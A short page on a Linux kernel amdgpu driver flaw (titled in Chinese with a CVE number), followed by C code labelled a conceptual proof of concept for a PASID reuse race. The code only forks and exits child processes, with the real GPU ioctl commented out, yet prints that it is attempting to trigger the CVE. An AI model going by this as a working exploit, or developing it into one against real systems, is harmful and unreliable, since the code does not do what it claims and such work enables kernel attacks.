CVE-2026-31462: Linux内核drm/amdgpu驱动PASID重用漏洞

// Conceptual PoC to trigger PASID reuse race condition // Requires root or local user access with GPU capabilities #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> // This is a simulation. Real exploitation requires interacting with amdgpu ioctls. void trigger_vulnerability() { pid_t pid; int iterations = 10000; for (int i = 0; i < iterations; i++) { pid = fork(); if (pid == 0) { // Child process: Allocate PASID (simulate GPU context creation) // ioctl(drm_fd, AMDGPU_CTX_ALLOC, ...); // Exit immediately to free PASID // This leaves a window where pending faults might exist _exit(0); } else { // Parent process: immediately try to allocate a new context // In a real scenario, this would compete for the same PASID wait(NULL); } } } int main() { printf("Attempting to trigger CVE-2026-31462...\n"); trigger_vulnerability(); return 0; }